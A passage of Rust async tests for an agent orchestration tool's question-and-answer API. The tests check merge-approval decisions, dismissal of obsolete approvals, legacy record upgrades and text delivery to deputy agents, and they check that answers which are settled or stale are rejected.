12662            head: "old-reviewed-head".into(),
12663        });
12664        // The old persisted PR may still say open even when a separate change
12665        // already landed. Dismissal must not use that snapshot to close it.
12666        state.save_under(fx.home.path()).unwrap();
12667        let stale_driver = state.clone();
12668        fx.questions().put(&mut q).unwrap();
12669        let path = fx
12670            .home
12671            .path()
12672            .join("questions")
12673            .join(format!("{}.json", q.id));
12674        let mut legacy = serde_json::to_value(&q).unwrap();
12675        legacy["schema"] = 9.into();
12676        legacy.as_object_mut().unwrap().remove("merge_target");
12677        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12678
12679        // POST without GET tests legacy upgrade and validation at the actual
12680        // entry point, rather than constructing a modern card in the test.
12681        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12682        let answer_path = format!("/api/questions/{}/answer", q.id);
12683        let res = fx.post(&answer_path, Some(&body)).await;
12684        assert_eq!(res.status, 200, "{}", res.body);
12685        let disk = fx.questions().get(&q.id).unwrap();
12686        assert_eq!(
12687            disk.resolution().as_deref(),
12688            Some(crate::merge_decision::DISMISS)
12689        );
12690        assert!(disk.detail.starts_with("Original review evidence"));
12691        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12692        assert_eq!(retired.status, RunStatus::Superseded);
12693        assert_eq!(
12694            serde_json::to_value(&retired.pr).unwrap(),
12695            serde_json::to_value(&state.pr).unwrap()
12696        );
12697        assert!(!retired.merge_decision.as_ref().unwrap().closed);
12698        assert!(!crate::merge_decision::resumable_hold(&retired));
12699        assert!(fx.queue().list().is_empty());
12700        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12701        // A restarted server re-reads the persisted pending list.
12702        let addr = Fixture::serve(
12703            fx.home.path(),
12704            PathBuf::from("/repo/magi"),
12705            launch_idle,
12706            None,
12707        )
12708        .await;
12709        let reconnected = Fixture {
12710            home: fx.home,
12711            addr,
12712        };
12713        let listed = reconnected.get("/api/questions").await.json();
12714        assert!(
12715            listed
12716                .as_array()
12717                .unwrap()
12718                .iter()
12719                .all(|q| q["status"] != "open")
12720        );
12721        assert_eq!(listed[0]["id"], q.id, "history remains available");
12722        assert_eq!(
12723            reconnected.get("/api/health").await.json()["questions_open"],
12724            0
12725        );
12726        assert_eq!(
12727            reconnected
12728                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12729                .await
12730                .status,
12731            409
12732        );
12733        // A late waiter cannot turn the old answer into a new decision.
12734        assert!(
12735            reconnected
12736                .questions()
12737                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12738                .is_err()
12739        );
12740        // The same guard used by claims, repair and publication rejects a
12741        // saved in-memory driver as well as the persisted terminal record.
12742        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12743    }
12744
12745    #[tokio::test]
12746    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12747        let fx = Fixture::start().await;
12748        let mut state = obsolete_approval_state();
12749        state.status = RunStatus::Landing;
12750        state.driver_exited = true;
12751        let mut q = Question::new(
12752            state.id.clone(),
12753            crate::land::APPROVAL_NODE.into(),
12754            "land".into(),
12755            "Obsolete approval".into(),
12756            String::new(),
12757            vec!["merge".into(), "hold".into()],
12758        );
12759        state.land_approval = Some(crate::run::LandApproval {
12760            question: q.id.clone(),
12761            head: "head".into(),
12762        });
12763        state.save_under(fx.home.path()).unwrap();
12764        fx.questions().put(&mut q).unwrap();
12765        let mut task = Task::new(
12766            "Owner".into(),
12767            "Original instruction".into(),
12768            state.repo.clone(),
12769            Source::Human,
12770        );
12771        task.runs = vec![state.id.clone(), "later-run".into()];
12772        fx.queue().put(&mut task).unwrap();
12773        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12774        let claim = fx.queue().claim(&task.id).unwrap();
12775        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12776        let path = format!("/api/questions/{}/answer", q.id);
12777        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12778        assert!(fx.questions().get(&q.id).unwrap().status.open());
12779        drop(claim);
12780        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12781        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12782        assert!(fx.questions().get(&q.id).unwrap().status.open());
12783        drop(publication);
12784        // Unknown liveness and armed auto-merge both fail without settling.
12785        state.driver_exited = false;
12786        state.driver_pid = None;
12787        state.driver_claimed = None; // No durable proof of an unstarted execution.
12788        state.save_under(fx.home.path()).unwrap();
12789        assert_eq!(
12790            state.liveness_under(fx.home.path(), false),
12791            crate::run::Liveness::Unknown
12792        );
12793
12794        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12795        state.driver_exited = true;
12796        state.land_armed_head = Some("head".into());
12797        state.save_under(fx.home.path()).unwrap();
12798        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12799        state.land_armed_head = None;
12800        state.save_under(fx.home.path()).unwrap();
12801        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12802        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12803        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12804    }
12805
12806    #[tokio::test]
12807    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12808        let fx = Fixture::start().await;
12809        let mut state = obsolete_approval_state();
12810        state.status = RunStatus::Landing;
12811        state.driver_exited = true;
12812        let mut q = Question::new(
12813            state.id.clone(),
12814            crate::land::APPROVAL_NODE.into(),
12815            "land".into(),
12816            "Obsolete approval".into(),
12817            String::new(),
12818            vec!["merge".into(), "hold".into()],
12819        );
12820        state.land_approval = Some(crate::run::LandApproval {
12821            question: q.id.clone(),
12822            head: "head".into(),
12823        });
12824        state.save_under(fx.home.path()).unwrap();
12825        fx.questions().put(&mut q).unwrap();
12826        let mut task = Task::new(
12827            "Owner".into(),
12828            "Original instruction".into(),
12829            state.repo.clone(),
12830            Source::Human,
12831        );
12832        task.runs.push(state.id.clone());
12833        task.status = TaskStatus::Parked;
12834        fx.queue().put(&mut task).unwrap();
12835        // Model a crash after the run stop was persisted but before the queue
12836        // and answered question were flushed. Retrying must finish, not resume.
12837        state.merge_decision = Some(crate::merge_decision::Decision {
12838            question: q.id.clone(),
12839            target: crate::merge_decision::Target {
12840                pr: state.pr.as_ref().unwrap().url.clone(),
12841                head: "head".into(),
12842                language: "ja".into(),
12843            },
12844            choice: crate::merge_decision::DISMISS.into(),
12845            closed: false,
12846            replacement_run: None,
12847            replacement_pr: None,
12848        });
12849        state.status = RunStatus::Superseded;
12850        state.save_under(fx.home.path()).unwrap();
12851        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12852        let path = format!("/api/questions/{}/answer", q.id);
12853        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12854        let done = fx.queue().get(&task.id).unwrap();
12855        assert_eq!(done.status, TaskStatus::Done);
12856        assert_eq!(done.runs, task.runs);
12857        assert_eq!(done.instruction, task.instruction);
12858        assert!(done.action_applied(&q.id));
12859        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12860        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12861        assert!(!fx.questions().get(&q.id).unwrap().status.open());
12862    }
12863
12864    #[tokio::test]
12865    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12866        let home = TempDir::new().unwrap();
12867        let ui = Arc::new(Ui::new(
12868            Queue::at(home.path().join("queue")),
12869            Questions::at(home.path().join("questions")),
12870            Talks::at(home.path().join("talks")),
12871            home.path().join("runs"),
12872            home.path().to_owned(),
12873            home.path().to_owned(),
12874        ));
12875        let talks = &ui.talks;
12876        let chat =
12877            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12878        let mut q = Question::new(
12879            "run".into(),
12880            crate::land::APPROVAL_NODE.into(),
12881            "land".into(),
12882            "Merge?".into(),
12883            String::new(),
12884            vec!["merge".into(), "hold".into()],
12885        );
12886        q.routed_task = Some("task".into());
12887        q.routed_chat = Some(chat.id.clone());
12888        q.merge_target = Some(crate::merge_decision::Target {
12889            pr: "https://example.test/pull/1".into(),
12890            head: "head-a".into(),
12891            language: "en".into(),
12892        });
12893        ui.questions.put(&mut q).unwrap();
12894        let send = |body| {
12895            question_answer(
12896                State(ui.clone()),
12897                Path(q.id.clone()),
12898                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12899            )
12900        };
12901        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12902        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12903        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12904        assert!(send(wrong_chat).await.is_err());
12905        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12906        assert!(send(stale).await.is_err());
12907        assert!(ui.questions.get(&q.id).unwrap().status.open());
12908        assert!(send(button.clone()).await.is_ok());
12909        assert_eq!(
12910            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12911            Some("merge")
12912        );
12913        assert!(send(button).await.is_err());
12914    }
12915
12916    #[tokio::test]
12917    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12918        let home = TempDir::new().unwrap();
12919        let ui = Arc::new(Ui::new(
12920            Queue::at(home.path().join("queue")),
12921            Questions::at(home.path().join("questions")),
12922            Talks::at(home.path().join("talks")),
12923            home.path().join("runs"),
12924            home.path().to_owned(),
12925            home.path().to_owned(),
12926        ));
12927        for choice in [crate::land::APPROVE, crate::land::HOLD] {
12928            let mut q = Question::new(
12929                "run".into(),
12930                crate::land::APPROVAL_NODE.into(),
12931                "land".into(),
12932                "Merge?".into(),
12933                String::new(),
12934                vec!["merge".into(), choice.into()],
12935            );
12936            q.routed_task = Some("task".into());
12937            q.merge_target = Some(crate::merge_decision::Target {
12938                pr: "https://example.test/pull/1".into(),
12939                head: "head-a".into(),
12940                language: "en".into(),
12941            });
12942            ui.questions.put(&mut q).unwrap();
12943            let answer = |c: &str| {
12944                question_answer(
12945                    State(ui.clone()),
12946                    Path(q.id.clone()),
12947                    Ok(Json(
12948                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12949                            .unwrap(),
12950                    )),
12951                )
12952            };
12953            let _ = answer(choice).await.unwrap();
12954            assert_eq!(
12955                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12956                Some(choice)
12957            );
12958        }
12959    }
12960
12961    #[tokio::test]
12962    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
12963        let home = TempDir::new().unwrap();
12964        let ui = Arc::new(Ui::new(
12965            Queue::at(home.path().join("queue")),
12966            Questions::at(home.path().join("questions")),
12967            Talks::at(home.path().join("talks")),
12968            home.path().join("runs"),
12969            home.path().to_owned(),
12970            home.path().to_owned(),
12971        ));
12972        let mut q = Question::new(
12973            "run".into(),
12974            crate::github_text::ASK_NODE.into(),
12975            "posting-gate".into(),
12976            "Post?".into(),
12977            String::new(),
12978            vec!["use fallback".into()],
12979        );
12980        q.routed_task = Some("task".into());
12981        ui.questions.put(&mut q).unwrap();
12982        let sent = question_answer(
12983            State(ui.clone()),
12984            Path(q.id.clone()),
12985            Ok(Json(
12986                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12987                    .unwrap(),
12988            )),
12989        )
12990        .await;
12991        let _ = sent.unwrap();
12992        assert_eq!(
12993            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12994            Some("use fallback")
12995        );
12996    }
12997
12998    #[tokio::test]
12999    async fn merge_decision_api_persists_exact_target_and_selected_action() {
13000        let fx = Fixture {
13001            home: TempDir::new().unwrap(),
13002            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13003        };
13004        for choice in [
13005            crate::land::HOLD,
13006            crate::land::REPAIR,
13007            crate::land::APPROVE,
13008            crate::merge_decision::WITHDRAW,
13009            "reimplement:beta",
13010        ] {
13011            let mut q = Question::new(
13012                "old-run".into(),
13013                crate::land::APPROVAL_NODE.into(),
13014                "land".into(),
13015                "Decision".into(),
13016                "Review findings".into(),
13017                vec![
13018                    "merge".into(),
13019                    "hold".into(),
13020                    crate::land::REPAIR.into(),
13021                    crate::merge_decision::WITHDRAW.into(),
13022                    "reimplement:beta".into(),
13023                ],
13024            );
13025            q.merge_target = Some(crate::merge_decision::Target {
13026                pr: "https://github.com/example/repo/pull/42".into(),
13027                head: "exact-reviewed-head".into(),
13028                language: "ja".into(),
13029            });
13030            q.consult = Some(ask::ChatConsult {
13031                talk: "another-conversation".into(),
13032                at: jiff::Timestamp::now(),
13033            });
13034            fx.questions().put(&mut q).unwrap();
13035            let ui = Arc::new(Ui::new(
13036                fx.queue(),
13037                fx.questions(),
13038                fx.talks(),
13039                fx.runs(),
13040                fx.home.path().into(),
13041                std::path::PathBuf::from("."),
13042            ));
13043            let response = question_answer(
13044                State(ui.clone()),
13045                Path(q.id.clone()),
13046                Ok(Json(NewAnswer {
13047                    choice: Some(choice.into()),
13048                    text: None,
13049                    ..Default::default()
13050                })),
13051            )
13052            .await
13053            .unwrap();
13054            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
13055            let disk = fx.questions().get(&q.id).unwrap();
13056            assert_eq!(disk.merge_target, q.merge_target);
13057            assert_eq!(disk.consult, q.consult);
13058            assert_eq!(disk.resolution().as_deref(), Some(choice));
13059            assert!(
13060                question_answer(
13061                    State(ui),
13062                    Path(q.id.clone()),
13063                    Ok(Json(NewAnswer {
13064                        choice: Some("merge".into()),
13065                        text: None,
13066                        ..Default::default()
13067                    }))
13068                )
13069                .await
13070                .is_err(),
13071                "an already settled decision cannot turn into merge approval"
13072            );
13073        }
13074    }
13075
13076    #[tokio::test]
13077    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
13078        let fx = Fixture {
13079            home: TempDir::new().unwrap(),
13080            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13081        };
13082        let mut state = crate::land::tests::repair_state(true, true);
13083        state.status = RunStatus::Landing;
13084        state.parked = true;
13085        state.driver_exited = true;
13086        let mut task = Task::new(
13087            "Existing PR owner".into(),
13088            state.instruction.clone(),
13089            state.repo.clone(),
13090            Source::Human,
13091        );
13092        task.runs.push(state.id.clone());
13093        task.status = TaskStatus::Parked;
13094        fx.queue().put(&mut task).unwrap();
13095        let mut q = Question::new(
13096            state.id.clone(),
13097            crate::land::APPROVAL_NODE.into(),
13098            "land".into(),
13099            "Contested merge".into(),
13100            "Original evidence".into(),
13101            vec!["merge".into(), "hold".into()],
13102        );
13103        state.land_approval = Some(crate::run::LandApproval {
13104            question: q.id.clone(),
13105            head: "reviewed-head".into(),
13106        });
13107        state.save_under(fx.home.path()).unwrap();
13108        fx.questions().put(&mut q).unwrap();
13109        // A later repair answer on this old card supersedes this manual hold.
13110        task.hold_manual(Some("Pause this PR".into()));
13111        fx.queue().put(&mut task).unwrap();
13112        // POST directly, without a preceding GET: validation must see the
13113        // same durable upgrade that the card, CLI and chat see.
13114        let ui = Arc::new(Ui::new(
13115            fx.queue(),
13116            fx.questions(),
13117            fx.talks(),
13118            fx.runs(),
13119            fx.home.path().to_path_buf(),
13120            state.repo.clone(),
13121        ));
13122        let response = question_answer(
13123            State(ui),
13124            Path(q.id.clone()),
13125            Ok(Json(NewAnswer {
13126                choice: Some(crate::land::REPAIR.into()),
13127                text: None,
13128                ..Default::default()
13129            })),
13130        )
13131        .await
13132        .unwrap();
13133        assert_eq!(response.0.question.id, q.id);
13134        let upgraded = fx.questions().get(&q.id).unwrap();
13135        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13136        assert!(upgraded.detail.starts_with("Original evidence"));
13137        let claim = fx.queue().claim(&task.id).unwrap();
13138        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13139        assert!(
13140            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13141            "an existing driver keeps its claim"
13142        );
13143        drop(claim);
13144        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13145        let resumed = fx.queue().get(&task.id).unwrap();
13146        assert_eq!(
13147            resumed
13148                .resume_override
13149                .as_ref()
13150                .unwrap()
13151                .pinned_run
13152                .as_deref(),
13153            Some(state.id.as_str())
13154        );
13155        assert!(resumed.status.runnable());
13156        assert_eq!(resumed.instruction, task.instruction);
13157        assert_eq!(resumed.runs, task.runs);
13158        assert!(resumed.action_applied(&q.id));
13159        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13160        assert_eq!(fx.queue().list().len(), 1);
13161        assert_eq!(
13162            fx.queue().get(&task.id).unwrap().resume_override,
13163            resumed.resume_override
13164        );
13165        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13166        assert!(
13167            disk.merge_repairs.is_empty(),
13168            "only the claimed run driver may execute repair"
13169        );
13170        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13171    }
13172
13173    #[tokio::test]
13174    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13175        let fx = Fixture::start().await;
13176        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13177        let path = format!("/api/questions/{id}/answer");
13178
13179        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13180        assert_eq!(res.status, 200, "{}", res.body);
13181        let body = res.json();
13182        assert_eq!(body["status"], "answered");
13183        assert_eq!(body["answer"]["choice"], "Redis");
13184
13185        // Answered from the terminal in between the list and the tap: the UI
13186        // must be able to tell this from a bad request, so it can show the
13187        // recorded answer instead of an error.
13188        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13189        assert_eq!(again.status, 409, "{}", again.body);
13190        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13191    }
13192
13193    #[tokio::test]
13194    async fn fresh_api_answers_survive_task_inquiry_migration() {
13195        use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13196        for migrate_first in [false, true] {
13197            let fx = Fixture::start().await;
13198            let mut task = Task::new(
13199                "work".into(),
13200                "work".into(),
13201                PathBuf::from("/repo/magi"),
13202                Source::Human,
13203            );
13204            task.runs.push("run-a".into());
13205            fx.queue().put(&mut task).unwrap();
13206            let mut q = Question::new(
13207                "run-a".into(),
13208                "implement".into(),
13209                "impl-A".into(),
13210                "Keep held?".into(),
13211                String::new(),
13212                vec!["hold".into()],
13213            );
13214            q.actions.insert("hold".into(), ChoiceAction::Hold);
13215            fx.questions().put(&mut q).unwrap();
13216            if migrate_first {
13217                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13218            }
13219            let response = fx
13220                .post(
13221                    &format!("/api/questions/{}/answer", q.id),
13222                    Some(r#"{"choice":"hold"}"#),
13223                )
13224                .await;
13225            assert_eq!(response.status, 200, "{}", response.body);
13226            for _ in 0..2 {
13227                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13228                let source = fx.questions().get(&q.id).unwrap();
13229                assert_eq!(source.resolution().as_deref(), Some("hold"));
13230                let decision = Outbox::at(fx.home.path())
13231                    .get(&q.id)
13232                    .unwrap()
13233                    .decision
13234                    .unwrap();
13235                assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13236                assert_eq!(decision.source_answer_at, source.answered_at);
13237                assert_eq!(decision.status, Status::Queued);
13238            }
13239            assert_eq!(
13240                fx.post(
13241                    &format!("/api/questions/{}/answer", q.id),
13242                    Some(r#"{"choice":"hold"}"#)
13243                )
13244                .await
13245                .status,
13246                409
13247            );
13248        }
13249    }
13250
13251    #[tokio::test]
13252    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13253        let home = tempfile::tempdir().unwrap();
13254        let ui = delta_test_ui(home.path());
13255        let mut q = Question::new(
13256            "task".into(),
13257            crate::land::APPROVAL_NODE.into(),
13258            "land".into(),
13259            "Explain?".into(),
13260            String::new(),
13261            vec!["hold".into()],
13262        );
13263        q.deputy = Some(ask::Deputy::new("context".into()));
13264        ui.questions.put(&mut q).unwrap();
13265        let mut cfg = stub_config();
13266        cfg.daemon.max_deputies = 0;
13267        let mut status = crate::daemon::Status::new();
13268        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13269        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13270        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13271        let error = question_say(
13272            State(ui.clone()),
13273            Path(q.id.clone()),
13274            Ok(Json(NewSay {
13275                body: "Explain the findings".into(),
13276            })),
13277        )
13278        .await
13279        .unwrap_err();
13280        assert_eq!(
13281            error.text_reason,
13282            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13283        );
13284        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13285
13286        let mut text = Question::new(
13287            "task".into(),
13288            "ask".into(),
13289            "operator".into(),
13290            "Which name?".into(),
13291            String::new(),
13292            vec![],
13293        );
13294        ui.questions.put(&mut text).unwrap();
13295        let Json(view) = question_answer(
13296            State(ui.clone()),
13297            Path(text.id.clone()),
13298            Ok(Json(NewAnswer {
13299                choice: None,
13300                text: Some("chosen name".into()),
13301                ..Default::default()
13302            })),
13303        )
13304        .await
13305        .unwrap();
13306        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13307        assert!(!ui.questions.get(&text.id).unwrap().status.open());
13308    }
13309
13310    #[tokio::test]
13311    async fn question_text_handler_admission_without_transport() {
13312        let home = tempfile::tempdir().unwrap();
13313        let ui = delta_test_ui(home.path());
13314        let mut q = Question::new(
13315            "task".into(),
13316            crate::land::APPROVAL_NODE.into(),
13317            "land".into(),
13318            "May this PR merge?".into(),
13319            String::new(),
13320            vec!["hold".into()],
13321        );
13322        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13323        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13324        ui.questions.put(&mut q).unwrap();
13325        let say = || {
13326            Ok(Json(NewSay {
13327                body: "Explain the findings".into(),
13328            }))
13329        };
13330        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13331            .await
13332            .unwrap_err();
13333        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13334        let response = rejected.into_response();
13335        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13336            .await
13337            .unwrap();
13338        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13339        assert_eq!(body["code"], "question_text_unavailable");
13340        assert_eq!(body["reason"], "deputy_exhausted");
13341        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13342        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13343        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13344        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13345            .await
13346            .unwrap();
13347        assert_eq!(view.text_delivery.state, "live");
13348        assert!(view.question.waiter.is_none());
13349        assert!(view.question.cwd.is_none());
13350        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13351        ui.questions.drop_lease(&q.id);
13352        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13353            .await
13354            .unwrap_err();
13355        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13356        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13357        let _ = question_answer(
13358            State(ui.clone()),
13359            Path(q.id.clone()),
13360            Ok(Json(NewAnswer {
13361                choice: Some("hold".into()),
13362                text: None,
13363                ..Default::default()
13364            })),
13365        )
13366        .await
13367        .unwrap();
13368        assert_eq!(
13369            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13370            Some("hold")
13371        );
13372    }
13373
13374    #[tokio::test]
13375    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13376        let fx = Fixture::start().await;
13377        let store = fx.questions();
13378        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13379        store
13380            .update(&id, |q| {
13381                q.node = crate::land::APPROVAL_NODE.to_owned();
13382                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13383                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13384                Ok(())
13385            })
13386            .unwrap();
13387        let path = format!("/api/questions/{id}/say");
13388        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13389        assert_eq!(refused.status, 422, "{}", refused.body);
13390        assert!(
13391            refused.json()["error"]
13392                .as_str()
13393                .unwrap()
13394                .contains("deputy_exhausted")
13395        );
13396        assert!(store.get(&id).unwrap().thread.is_empty());
13397
13398        // A final live deputy is usable even with no ordinary waiter/cwd.
13399        store.beat(&id, ask::WaiterKind::Deputy);
13400        let view = fx.get("/api/questions").await.json();
13401        assert_eq!(view[0]["text_delivery"]["state"], "live");
13402        let accepted = fx
13403            .post(&path, Some(r#"{"body":"explain the findings"}"#))
13404            .await;
13405        assert_eq!(accepted.status, 200, "{}", accepted.body);
13406        let before = std::fs::read(store.path_of(&id)).unwrap();
13407
13408        // The recipient exits between rendering and sending. Rejection must
13409        // preserve previously accepted text, the answer and delivery cursor.
13410        store.drop_lease(&id);
13411        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13412        assert_eq!(refused.status, 422, "{}", refused.body);
13413        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13414        let held = fx
13415            .post(
13416                &format!("/api/questions/{id}/answer"),
13417                Some(r#"{"choice":"hold"}"#),
13418            )
13419            .await;
13420        assert_eq!(held.status, 200, "{}", held.body);
13421        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13422    }
13423
13424    #[tokio::test]
13425    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13426        let repo = tempfile::tempdir().unwrap();
13427        let mut cfg = stub_config();
13428        cfg.daemon.max_deputies = 0;
13429        std::fs::write(
13430            repo.path().join("magi.toml"),
13431            toml::to_string(&cfg).unwrap(),
13432        )
13433        .unwrap();
13434        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13435        let mut status = crate::daemon::Status::new();
13436        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13437        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
13438        let id = ask(&fx, "Explain?", &["hold"]);
13439        fx.questions()
13440            .update(&id, |q| {
13441                q.node = crate::land::APPROVAL_NODE.into();
13442                q.deputy = Some(ask::Deputy::new("context".into()));
13443                q.deputy.as_mut().unwrap().agent = "stub".into();
13444                Ok(())
13445            })
13446            .unwrap();
13447        cfg.daemon.max_deputies = 1;
13448        std::fs::write(
13449            repo.path().join("magi.toml"),
13450            toml::to_string(&cfg).unwrap(),
13451        )
13452        .unwrap();
13453        let view = fx.get("/api/questions").await.json();
13454        assert_eq!(view[0]["deputies_enabled"], true);
13455        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
13456        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
13457        let res = fx
13458            .post(
13459                &format!("/api/questions/{id}/say"),
13460                Some(r#"{"body":"Please explain"}"#),
13461            )
13462            .await;
13463        assert_eq!(res.status, 422, "{}", res.body);
13464        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13465    }
13466
13467    #[tokio::test]
13468    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13469        let fx = Fixture::start().await;
13470        let id = ask(&fx, "No seat", &[]);
13471        let store = fx.questions();
13472        let before = std::fs::read(store.path_of(&id)).unwrap();
13473        let res = fx
13474            .post(
13475                &format!("/api/questions/{id}/say"),
13476                Some(r#"{"body":"hello"}"#),
13477            )
13478            .await;
13479        assert_eq!(res.status, 422, "{}", res.body);
13480        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13481        let res = fx
13482            .post(
13483                &format!("/api/questions/{id}/answer"),
13484                Some(r#"{"text":"hello"}"#),
13485            )
13486            .await;
13487        assert_eq!(res.status, 200, "{}", res.body);
13488        assert_eq!(
13489            store.get(&id).unwrap().resolution().as_deref(),
13490            Some("hello")
13491        );
13492    }
13493
13494    #[tokio::test]
13495    async fn saying_something_appends_a_turn_without_answering() {
13496        let fx = Fixture::start().await;
13497        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13498        fx.questions().beat(&id, ask::WaiterKind::Asker);
13499        let path = format!("/api/questions/{id}/say");
13500
13501        let res = fx
13502            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13503            .await;
13504        assert_eq!(res.status, 200, "{}", res.body);
13505        let body = res.json();
13506        assert_eq!(body["status"], "open", "talking back is not a decision");
13507        assert_eq!(body["answer"], Value::Null);
13508        assert_eq!(body["thread"][0]["who"], "operator");
13509        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13510        assert_eq!(body["waiting_on_agent"], true);
13511        // Still open, still counted, still exactly one question.
13512        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13513    }
13514
13515    #[tokio::test]
13516    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13517        let fx = Fixture::start().await;
13518        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13519
13520        let list = fx.get("/api/questions").await.json();
13521        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13522
13523        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13524        assert_eq!(res.status, 409, "{}", res.body);
13525        let q = fx.questions().get(&id).unwrap();
13526        assert!(q.status.open());
13527        assert!(q.consult.is_none());
13528    }
13529
13530    #[tokio::test]
13531    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13532        let fx = Fixture::start().await;
